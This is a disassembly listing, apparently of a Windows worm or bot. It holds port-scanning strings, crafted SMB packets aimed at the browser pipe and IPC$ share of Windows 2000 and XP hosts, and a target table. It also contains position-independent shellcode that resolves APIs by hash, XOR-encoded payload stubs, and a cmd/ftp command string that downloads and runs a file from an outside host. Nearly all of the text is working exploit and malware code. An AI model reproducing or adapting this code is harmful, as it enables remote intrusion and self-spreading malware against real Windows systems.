aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_433348 db 2Dh ; - ; DATA XREF: sub_40C4C6+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 10h
unk_433370 db 2Dh ; - ; DATA XREF: sub_40C5B7+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
unk_43339C db 2Dh ; - ; DATA XREF: sub_40C5B7+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40C930+B2o
align 4
dword_4333D4 dd 10FF8h, 0 ; DATA XREF: sub_40C930+6Ao
dword_4333DC dd 10FF8h ; DATA XREF: sub_40C930+79o
dword_4333E0 dd 7FFDF020h, 0 ; DATA XREF: sub_40C930+162o
dword_4333E8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CD4A+78o
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_433470 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CD4A+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4334A0 dd 0 ; DATA XREF: sub_40CD4A+44o
dd 800000D4h, 2 dup(0)
unk_4334B0 db 81h ; ; DATA XREF: sub_40CE29+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_433500 db 41h ; DATA XREF: sub_40CEC7+108r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 8
; =============== S U B R O U T I N E =======================================
sub_433548 proc near ; DATA XREF: seg000:0040D1A3o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_433644
push dword ptr [esi]
push 63D61209h
call sub_43365A
mov [esi+8], eax
call sub_43360D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_43365A
mov [esi+0Ch], eax
call sub_4335BF
push dword ptr [esi+4]
push 4C0297FAh
call sub_43365A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_433548 endp
; =============== S U B R O U T I N E =======================================
sub_4335BF proc near ; CODE XREF: sub_433548+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4335E8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4335BF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4335E8 proc near ; CODE XREF: sub_4335BF+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4335F7: ; CODE XREF: sub_4335E8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_433604
inc ebx
jmp short loc_4335F7
; ---------------------------------------------------------------------------
loc_433604: ; CODE XREF: sub_4335E8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4335E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43360D proc near ; CODE XREF: sub_433548+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_433625: ; CODE XREF: sub_43360D+1Ej
cmp [ecx], ebx
jz short loc_43362D
mov ecx, [ecx]
jmp short loc_433625
; ---------------------------------------------------------------------------
loc_43362D: ; CODE XREF: sub_43360D+1Aj
mov edx, edi
loc_43362F: ; CODE XREF: sub_43360D+2Aj
cmp [edx+4], ebx
jz short loc_433639
mov edx, [edx+4]
jmp short loc_43362F
; ---------------------------------------------------------------------------
loc_433639: ; CODE XREF: sub_43360D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43360D endp
; =============== S U B R O U T I N E =======================================
sub_433644 proc near ; CODE XREF: sub_433548+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_433644 endp
; =============== S U B R O U T I N E =======================================
sub_43365A proc near ; CODE XREF: sub_433548+16p
; sub_433548+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_433670: ; CODE XREF: sub_43365A+33j
jecxz short loc_4336AA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_43367D: ; CODE XREF: sub_43365A+2Dj
lodsb
cmp al, ah
jz short loc_433689
ror edi, 0Dh
add edi, eax
jmp short loc_43367D
; ---------------------------------------------------------------------------
loc_433689: ; CODE XREF: sub_43365A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_433670
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4336AA: ; CODE XREF: sub_43365A:loc_433670j
; sub_43365A:loc_4336AAj
jmp short loc_4336AA
sub_43365A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4336B0 proc near ; DATA XREF: seg000:0040D151o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_433702
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_4336CD: ; CODE XREF: sub_4336B0+38j
jecxz short loc_4336FD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_4336D8: ; CODE XREF: sub_4336B0+32j
lodsb
test al, al
jz short loc_4336E4
ror edx, 0Dh
add edx, eax
jmp short loc_4336D8
; ---------------------------------------------------------------------------
loc_4336E4: ; CODE XREF: sub_4336B0+2Bj
cmp edx, [esp+arg_0]
jnz short loc_4336CD
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_4336FD: ; CODE XREF: sub_4336B0:loc_4336CDj
mov [esp+arg_0], ebx
retn
sub_4336B0 endp
; =============== S U B R O U T I N E =======================================
sub_433702 proc near ; CODE XREF: sub_4336B0+7p
; FUNCTION CHUNK AT 0043373A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43371B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_433726
; ---------------------------------------------------------------------------
loc_43371B: ; CODE XREF: sub_433702+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_433726: ; CODE XREF: sub_433702+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43373A
sub_433702 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43372D proc near ; CODE XREF: sub_433702:loc_43373Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43372D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_433702
loc_43373A: ; CODE XREF: sub_433702+29j
call sub_43372D
loc_43373F: ; DATA XREF: sub_40C930+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_433702
; ---------------------------------------------------------------------------
dw 0
dword_433744 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40C930+2F5o
dword_433750 dd 30h ; DATA XREF: sub_40C930+2CAo
dword_433754 dd 0A1h ; DATA XREF: sub_40C930+29Fo
dword_433758 dd 3 ; DATA XREF: sub_40C930+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40C930+153o
align 4
loc_433764: ; DATA XREF: sub_40C930+E8o
jmp short near ptr dword_43376C
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_43376C dd 0 ; CODE XREF: seg002:loc_433764j
aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: seg000:0040D178o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 8
dword_4337D8 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40D83A+2B6o
; ---------------------------------------------------------------------------
loc_4337E4: ; CODE XREF: seg002:004337EEj
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_4337E4
inc edi
jz short loc_43382B
and eax, 952CE753h
inc esp
jle short loc_433853
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_43382B: ; CODE XREF: seg002:004337F1j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_43388A+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_433850: ; CODE XREF: seg002:0043387Dj
xor [esi-25h], bl
loc_433853: ; CODE XREF: seg002:004337F9j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_43386C: ; CODE XREF: seg002:0043389Fj
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_433850
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_43388A: ; CODE XREF: seg002:00433831j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_433916
jo short loc_43386C
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_4338AD+1
add bl, [edi]
loc_4338AD: ; CODE XREF: seg002:004338A9j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_4338C2+2
cmp ch, bh
dec edx
loc_4338C2: ; CODE XREF: seg002:004338BDj
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_433916: ; CODE XREF: seg002:0043389Dj
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_43399C
sub al, 0BCh
jmp near ptr 54453D0Ah
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_433938 dd 0EFFFC481h, 44FFFFh, 433984h ; DATA XREF: sub_40D83A+29Do
dword_433944 dd 42Ah ; DATA XREF: sub_40D83A+23Dr
dword_433948 dd 3E8h ; DATA XREF: sub_40D83A+2C1r
dword_43394C dd 258h ; DATA XREF: sub_40D83A+293r
byte_433950 db 0 ; DATA XREF: sub_40D83A+1EFr
; sub_40D83A+2CFr
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_433968 dd 20804h ; DATA XREF: sub_40D73Er
; sub_40D83A+2E8o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: seg002:00433954o
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_43399C: ; CODE XREF: seg002:00433920j
push eax
xor al, 29h
loc_43399F: ; DATA XREF: sub_40D83A+211o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 8
dword_4339A8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40D83A+14Bo
dword_4339BC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40D83A+DBo
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D83A+78o
; sub_40E3D2+1A4o
align 4
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D83A+2Fo
; sub_40E3D2+150o
align 10h
aB: ; DATA XREF: sub_40DDDF+ADo
unicode 0, <>
dw 4400h
aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_433A40 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+CEo
dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0)
dword_433AA0 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+E8o
dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0 db 'Windows 2000 5.0',0
dd 2 dup(0)
dword_433B58 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+102o
dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
jno short loc_433C56
mov ecx, 484962Fh
retf 0EE65h
; ---------------------------------------------------------------------------
dw 0DAFBh
db 0CEh ; Î
db 9Eh, 0AFh, 28h
db 8Eh ; Ž
db 0EEh, 7Ah, 54h
db 69h ; i
db 85h, 28h, 57h
db 0
db 4Fh, 0, 52h
db 0
db 4Bh, 0, 53h
db 0
dd offset loc_410051+3
dd offset dword_490054
dd offset byte_4E004F
db 31h, 0, 57h
aIndows20002195 db 'indows 2000 2195',0
aWindows20005_1 db 'Windows 2000 5.0',0
align 10h
dword_433C50 dd 3A000000h ; DATA XREF: sub_40DDDF+119o
db 0FFh, 53h
; ---------------------------------------------------------------------------
loc_433C56: ; CODE XREF: seg002:00433BFCj
dec ebp
inc edx
jnz short $+2
; ---------------------------------------------------------------------------
dw 0
dd 20011800h, 3 dup(0)
dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_433C90 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+130o
dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0)
dword_433CF8 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+14Ao
dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_433D90 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+164o
; sub_40DDDF+1DAo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 6B001F00h, 14C658Ch, 0
dd 1000000h, 0
dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h
dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h
dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h
dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh
dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
dword_433EF0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+17Eo
; sub_40DDDF+1F4o
dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h
dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h
dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
align 10h
dword_434050 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+198o
; sub_40DDDF+20Eo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h
dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h
dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
dd 0
dd 1000000h, 0
dd 0AD91A700h, 2 dup(0)
dword_4341B0 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+1AFo
; sub_40DDDF+225o
dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch
dd 100200h, 1C0000h, 0
dd 40000h, 0
dd 1Fh, 2 dup(0)
unk_434220 db 81h ; ; DATA XREF: sub_40DDDF+283o
db 2 dup(0), 44h
aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_434270 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+2A4o
dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0)
dword_4342D0 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+2BEo
dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2 db 'Windows 2000 5.0',0
dd 2 dup(0)
dword_434388 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+2D8o
dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 0A3h
db 9Eh ; ž
db 5Eh, 9Bh, 4
db 57h ; W
db 0E3h, 15h, 0B7h
db 6Fh ; o
db 44h, 0E9h, 1Eh
db 49h ; I
db 0FEh, 0C0h, 0BEh
db 0E9h ; é
db 0A6h, 0A7h, 7Fh
aPmiw db 'pmiW',0
aO_0 db 'O',0
dd offset word_4B0052
db 53h
db 0
dd offset loc_410051+3
dd offset dword_490054
dd offset byte_4E004F
db 31h, 0, 57h
aIndows200021_0 db 'indows 2000 2195',0
aWindows20005_3 db 'Windows 2000 5.0',0
align 10h
dword_434480 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+2EFo
dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
db 0
db 2 dup(0), 40h
db 0
db 2 dup(0), 25h
db 0
db 2 dup(0), 57h
aIndows200021_1 db 'indows 2000 2195',0
aWindows20005_4 db 'Windows 2000 5.0',0
align 4
dword_4344E8 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+306o
dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_434528 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+31Do
dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0)
dword_434590 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+337o
dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_434628 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+351o
; sub_40DDDF+3E0o
dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 0F2001F00h, 1F2207Ch, 0
dd 1000000h, 0
dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h
dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh
dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_434788 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DDDF+36Bo
; sub_40DDDF+3FAo
dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h
dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h
dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
